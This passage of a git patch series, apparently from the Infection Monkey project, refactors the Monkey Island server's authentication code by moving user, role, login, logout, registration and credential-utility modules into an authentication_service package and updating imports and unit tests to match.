monkey/monkey_island/cc/{models => services/authentication_service}/role.py (100%) rename monkey/monkey_island/cc/{models => services/authentication_service}/user.py (100%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 0e54bf3c8d6..b111d196eb9 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -12,7 +12,6 @@ from common import AccountRole, DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper -from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( AgentBinaries, AgentEvents, @@ -43,6 +42,8 @@ from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources +from monkey_island.cc.services.authentication_service.role import Role +from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json from monkey_island.cc.setup.mongo.mongo_setup import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 7f584a500fc..afdab5ec71b 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -8,5 +8,3 @@ from common.types import AgentID from .agent import Agent from .terminate_all_agents import TerminateAllAgents -from .user import User -from .role import Role diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py index a500a3c64e8..3e84c6a945b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py @@ -1,8 +1,9 @@ from pathlib import Path from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, User +from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from monkey_island.cc.services.authentication_service.user import User class AuthenticationService: diff --git a/monkey/monkey_island/cc/models/role.py b/monkey/monkey_island/cc/services/authentication_service/role.py similarity index 100% rename from monkey/monkey_island/cc/models/role.py rename to monkey/monkey_island/cc/services/authentication_service/role.py diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/services/authentication_service/user.py similarity index 100% rename from monkey/monkey_island/cc/models/user.py rename to monkey/monkey_island/cc/services/authentication_service/user.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index c0ca382310b..452aee7cdfc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -4,9 +4,10 @@ import pytest from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, User +from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" PASSWORD = "test" diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 55c063bfbdf..038bb9f7618 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -14,8 +14,9 @@ from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.models import Role, User from monkey_island.cc.resources.auth import Login, Logout, Register +from monkey_island.cc.services.authentication_service.role import Role +from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json From e9a092a3a3452f751f0b357f3b2758bd23f21e56 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 19:56:37 +0100 Subject: [PATCH 0530/1338] Island: Remove AuthenticationService.data_dir --- .../services/authentication_service/authentication_service.py | 4 ---- .../authentication_service/test_authentication_service.py | 4 +--- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py index 3e84c6a945b..a091c80410a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_service.py @@ -1,5 +1,3 @@ -from pathlib import Path - from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -13,11 +11,9 @@ class AuthenticationService: def __init__( self, - data_dir: Path, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, ): - self._data_dir = data_dir self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 452aee7cdfc..e9acd895253 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -1,4 +1,3 @@ -from pathlib import Path from unittest.mock import MagicMock, call import pytest @@ -32,11 +31,10 @@ def mock_island_event_queue(autouse=True) -> IIslandEventQueue: @pytest.fixture def authentication_service( mock_flask_app, - tmp_path: Path, mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, ) -> AuthenticationService: - return AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + return AuthenticationService(mock_repository_encryptor, mock_island_event_queue) def test_needs_registration__true(authentication_service: AuthenticationService): From aa2198835baa63ea1878d31df12fde07a5a147bc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 11:05:47 +0100 Subject: [PATCH 0531/1338] Island: Move Register endpoint to authentication_service --- monkey/monkey_island/cc/app.py | 3 ++- .../cc/resources/auth/__init__.py | 1 - .../flask_resources/__init__.py | 0 .../flask_resources}/register.py | 0 .../authentication_service/conftest.py | 23 +++++++++++++++++++ .../flask_resources}/test_register.py | 13 ++++++----- .../unit_tests/monkey_island/conftest.py | 3 ++- 7 files changed, 34 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py rename monkey/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/register.py (100%) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py rename monkey/tests/unit_tests/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/test_register.py (87%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b111d196eb9..a6d5ec9b2d2 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Login, Logout, Register, RegistrationStatus +from monkey_island.cc.resources.auth import Login, Logout, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -42,6 +42,7 @@ from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources +from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 010e344e7b2..5662e51dcca 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,4 +1,3 @@ from .login import Login from .logout import Logout from .registration_status import RegistrationStatus -from .register import Register diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py similarity index 100% rename from monkey/monkey_island/cc/resources/auth/register.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py new file mode 100644 index 00000000000..ba3806cf16b --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -0,0 +1,23 @@ +from unittest.mock import MagicMock + +import pytest +from tests.common import StubDIContainer + +from monkey_island.cc.services.authentication_service import AuthenticationService + + +@pytest.fixture +def mock_authentication_service(): + mock_service = MagicMock(spec=AuthenticationService) + + return mock_service + + +@pytest.fixture +def flask_client(build_flask_client, mock_authentication_service): + container = StubDIContainer() + + container.register_instance(AuthenticationService, mock_authentication_service) + + with build_flask_client(container) as flask_client: + yield flask_client diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py similarity index 87% rename from monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index 79282ed7b7a..e6a0338fa6f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -4,12 +4,15 @@ import pytest from flask import Response -from monkey_island.cc.resources.auth import Register from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.flask_resources.register import Register USERNAME = "test_user" PASSWORD = "test_password" TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' +FLASK_REGISTER_IMPORT = ( + "monkey_island.cc.services.authentication_service.flask_resources.register.register" +) @pytest.fixture @@ -35,7 +38,7 @@ def test_register_successful( monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.register.register", + FLASK_REGISTER_IMPORT, lambda: Response( status=HTTPStatus.OK, ), @@ -69,9 +72,7 @@ def test_register_invalid_request( make_registration_request, mock_authentication_service: AuthenticationService, ): - monkeypatch.setattr( - "monkey_island.cc.resources.auth.register.register", lambda: register_response - ) + monkeypatch.setattr(FLASK_REGISTER_IMPORT, lambda: register_response) response = make_registration_request(b"{}") @@ -83,7 +84,7 @@ def test_register_error( monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.register.register", + FLASK_REGISTER_IMPORT, lambda: Response(status=HTTPStatus.OK), ) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 038bb9f7618..022e15ac95c 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -14,7 +14,8 @@ from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.resources.auth import Login, Logout, Register +from monkey_island.cc.resources.auth import Login, Logout +from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json From d88f7b3e4d56e5a71161a2e5bc27cd66b5d523c1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 11:28:03 +0100 Subject: [PATCH 0532/1338] Island: Move Login endpoint to authentication_service --- monkey/monkey_island/cc/app.py | 3 ++- monkey/monkey_island/cc/resources/auth/__init__.py | 1 - .../flask_resources}/login.py | 0 .../flask_resources}/test_login.py | 13 +++++++------ monkey/tests/unit_tests/monkey_island/conftest.py | 3 ++- 5 files changed, 11 insertions(+), 9 deletions(-) rename monkey/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/login.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/test_login.py (88%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a6d5ec9b2d2..89181ceca16 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Login, Logout, RegistrationStatus +from monkey_island.cc.resources.auth import Logout, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -42,6 +42,7 @@ from monkey_island.cc.server_utils import generate_flask_security_configuration from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources +from monkey_island.cc.services.authentication_service.flask_resources.login import Login from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 5662e51dcca..19a329967e7 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,3 +1,2 @@ -from .login import Login from .logout import Logout from .registration_status import RegistrationStatus diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py similarity index 100% rename from monkey/monkey_island/cc/resources/auth/login.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py similarity index 88% rename from monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index ba60194b21b..0423530d4c9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -4,12 +4,13 @@ import pytest from flask import Response -from monkey_island.cc.resources.auth import Login from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.flask_resources.login import Login USERNAME = "test_user" PASSWORD = "test_password" TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' +FLASK_LOGIN_IMPORT = "monkey_island.cc.services.authentication_service.flask_resources.login.login" @pytest.fixture @@ -26,7 +27,7 @@ def test_credential_parsing( monkeypatch, make_login_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.login.login", + FLASK_LOGIN_IMPORT, lambda: Response( status=HTTPStatus.OK, ), @@ -43,7 +44,7 @@ def test_empty_credentials(make_login_request, mock_authentication_service: Auth def test_login_successful(make_login_request, monkeypatch): monkeypatch.setattr( - "monkey_island.cc.resources.auth.login.login", + FLASK_LOGIN_IMPORT, lambda: Response( status=HTTPStatus.OK, ), @@ -58,7 +59,7 @@ def test_login_failure( monkeypatch, make_login_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.login.login", + FLASK_LOGIN_IMPORT, lambda: Response( status=HTTPStatus.BAD_REQUEST, ), @@ -90,7 +91,7 @@ def test_login_invalid_request( make_login_request, mock_authentication_service: AuthenticationService, ): - monkeypatch.setattr("monkey_island.cc.resources.auth.login.login", lambda: login_response) + monkeypatch.setattr(FLASK_LOGIN_IMPORT, lambda: login_response) response = make_login_request(b"{}") @@ -102,7 +103,7 @@ def test_login_error( monkeypatch, make_login_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.login.login", + FLASK_LOGIN_IMPORT, lambda: Response( status=HTTPStatus.OK, ), diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 022e15ac95c..37ad13eda6d 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -14,7 +14,8 @@ from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.resources.auth import Login, Logout +from monkey_island.cc.resources.auth import Logout +from monkey_island.cc.services.authentication_service.flask_resources.login import Login from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User From 2008dc130f19fe8b3851772b67c7e369e3c8e44c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 11:47:36 +0100 Subject: [PATCH 0533/1338] Island: Move Logout to authentication_service --- monkey/monkey_island/cc/app.py | 7 +++++-- monkey/monkey_island/cc/resources/auth/__init__.py | 1 - .../authentication_service/flask_resources}/logout.py | 0 .../flask_resources}/test_logout.py | 9 ++++++--- monkey/tests/unit_tests/monkey_island/conftest.py | 2 +- 5 files changed, 12 insertions(+), 7 deletions(-) rename monkey/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/logout.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/test_logout.py (82%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 89181ceca16..a84d365ed91 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Logout, RegistrationStatus +from monkey_island.cc.resources.auth import RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -43,6 +43,7 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services import register_agent_configuration_resources from monkey_island.cc.services.authentication_service.flask_resources.login import Login +from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User @@ -84,6 +85,9 @@ def setup_authentication(app, data_dir): # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + app.config["SECURITY_LOGIN_URL"] = LOGIN_URL + app.config["SECURITY_LOGOUT_URL"] = LOGOUT_URL + app.config["SECURITY_REGISTER_URL"] = REGISTER_URL app.config["SECURITY_USERNAME_ENABLE"] = True app.config["SECURITY_USERNAME_REQUIRED"] = True app.config["SECURITY_REGISTERABLE"] = True @@ -129,7 +133,6 @@ def to_dict(self, only_user): app, user_datastore, confirm_register_form=CustomConfirmRegisterForm, - register_blueprint=False, ) # Force Security to always respond as an API rather than HTTP server # This will cause 401 response instead of 301 for unauthorized requests for example diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 19a329967e7..4bb01bf2b91 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,2 +1 @@ -from .logout import Logout from .registration_status import RegistrationStatus diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py similarity index 100% rename from monkey/monkey_island/cc/resources/auth/logout.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py similarity index 82% rename from monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py index fab50f34d5a..abd06bb9369 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py @@ -3,12 +3,15 @@ import pytest from flask import Response -from monkey_island.cc.resources.auth import Logout from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout USERNAME = "test_user" PASSWORD = "test_password" TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' +FLASK_LOGOUT_IMPORT = ( + "monkey_island.cc.services.authentication_service.flask_resources.logout.logout" +) @pytest.fixture @@ -37,7 +40,7 @@ def test_logout_failed( make_logout_request, mock_authentication_service: AuthenticationService, ): - monkeypatch.setattr("monkey_island.cc.resources.auth.logout.logout", lambda: logout_response) + monkeypatch.setattr(FLASK_LOGOUT_IMPORT, lambda: logout_response) response = make_logout_request(TEST_REQUEST) mock_authentication_service.handle_successful_logout.assert_not_called() @@ -48,7 +51,7 @@ def test_logout_successful( monkeypatch, make_logout_request, mock_authentication_service: AuthenticationService ): monkeypatch.setattr( - "monkey_island.cc.resources.auth.logout.logout", + FLASK_LOGOUT_IMPORT, lambda: Response( status=HTTPStatus.OK, ), diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 37ad13eda6d..2366e1d7cc9 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -14,8 +14,8 @@ from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.resources.auth import Logout from monkey_island.cc.services.authentication_service.flask_resources.login import Login +from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout from monkey_island.cc.services.authentication_service.flask_resources.register import Register from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User From 360163b500b8af0990c11962a9eee9faf1e71fcf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 11:53:40 +0100 Subject: [PATCH 0534/1338] Island: Move RegistrationStatus to authentication_service --- monkey/monkey_island/cc/app.py | 4 +++- monkey/monkey_island/cc/resources/auth/__init__.py | 1 - .../flask_resources}/registration_status.py | 0 .../flask_resources}/test_registration_status.py | 4 +++- 4 files changed, 6 insertions(+), 3 deletions(-) rename monkey/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/registration_status.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/{resources/auth => services/authentication_service/flask_resources}/test_registration_status.py (81%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a84d365ed91..c316eb591a6 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,6 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -45,6 +44,9 @@ from monkey_island.cc.services.authentication_service.flask_resources.login import Login from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout from monkey_island.cc.services.authentication_service.flask_resources.register import Register +from monkey_island.cc.services.authentication_service.flask_resources.registration_status import ( + RegistrationStatus, +) from monkey_island.cc.services.authentication_service.role import Role from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.representations import output_json diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 4bb01bf2b91..e69de29bb2d 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1 +0,0 @@ -from .registration_status import RegistrationStatus diff --git a/monkey/monkey_island/cc/resources/auth/registration_status.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py similarity index 100% rename from monkey/monkey_island/cc/resources/auth/registration_status.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_registration_status.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py similarity index 81% rename from monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_registration_status.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py index 76d6406a909..f5c97cead69 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_registration_status.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py @@ -2,7 +2,9 @@ import pytest -from monkey_island.cc.resources.auth import RegistrationStatus +from monkey_island.cc.services.authentication_service.flask_resources.registration_status import ( + RegistrationStatus, +) REGISTRATION_STATUS_URL = RegistrationStatus.urls[0] From a1a117c0efa032d4991c36af150cd3110047180e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 11:57:48 +0100 Subject: [PATCH 0535/1338] Island: Move auth resource utils to authentication_service --- .../services/authentication_service/flask_resources/login.py | 4 +++- .../authentication_service/flask_resources/register.py | 4 +++- .../authentication_service/utils.py} | 0 3 files changed, 6 insertions(+), 2 deletions(-) rename monkey/monkey_island/cc/{resources/auth/credential_utils.py => services/authentication_service/utils.py} (100%) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index a6be5aa377e..085eacad78f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -6,9 +6,11 @@ from flask_security.views import login from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.utils import ( + get_username_password_from_request, +) logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 2a6273d55e9..693dd2dde24 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -6,9 +6,11 @@ from flask_security.views import register from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services.authentication_service import AuthenticationService +from monkey_island.cc.services.authentication_service.utils import ( + get_username_password_from_request, +) logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/services/authentication_service/utils.py similarity index 100% rename from monkey/monkey_island/cc/resources/auth/credential_utils.py rename to monkey/monkey_island/cc/services/authentication_service/utils.py From ca1275347a9a913dd0e3bac966dd552de7e4783b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 12:00:25 +0100 Subject: [PATCH 0536/1338] Island: Remove empty resources.auth dir --- .../cc/resources/auth/__init__.py | 0 .../unit_tests/monkey_island/cc/conftest.py | 1 - .../cc/resources/auth/conftest.py | 23 ------------------- 3 files changed, 24 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/auth/__init__.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 1990d67cde0..756db742344 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -7,7 +7,6 @@ from tests.unit_tests.monkey_island.conftest import init_mock_security_app import monkey_island.cc.app -import monkey_island.cc.resources.auth import monkey_island.cc.resources.island_mode from monkey_island.cc.repositories import IFileRepository from monkey_island.cc.server_utils.encryption import ILockableEncryptor diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py deleted file mode 100644 index ba3806cf16b..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py +++ /dev/null @@ -1,23 +0,0 @@ -from unittest.mock import MagicMock - -import pytest -from tests.common import StubDIContainer - -from monkey_island.cc.services.authentication_service import AuthenticationService - - -@pytest.fixture -def mock_authentication_service(): - mock_service = MagicMock(spec=AuthenticationService) - - return mock_service - - -@pytest.fixture -def flask_client(build_flask_client, mock_authentication_service): - container = StubDIContainer() - - container.register_instance(AuthenticationService, mock_authentication_service) - - with build_flask_client(container) as flask_client: - yield flask_client From 3e1fdd0d2f146f33b527729572107a93a6ba31a8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Mar 2023 12:14:49 +0100 Subject: [PATCH 0537/1338] Island: 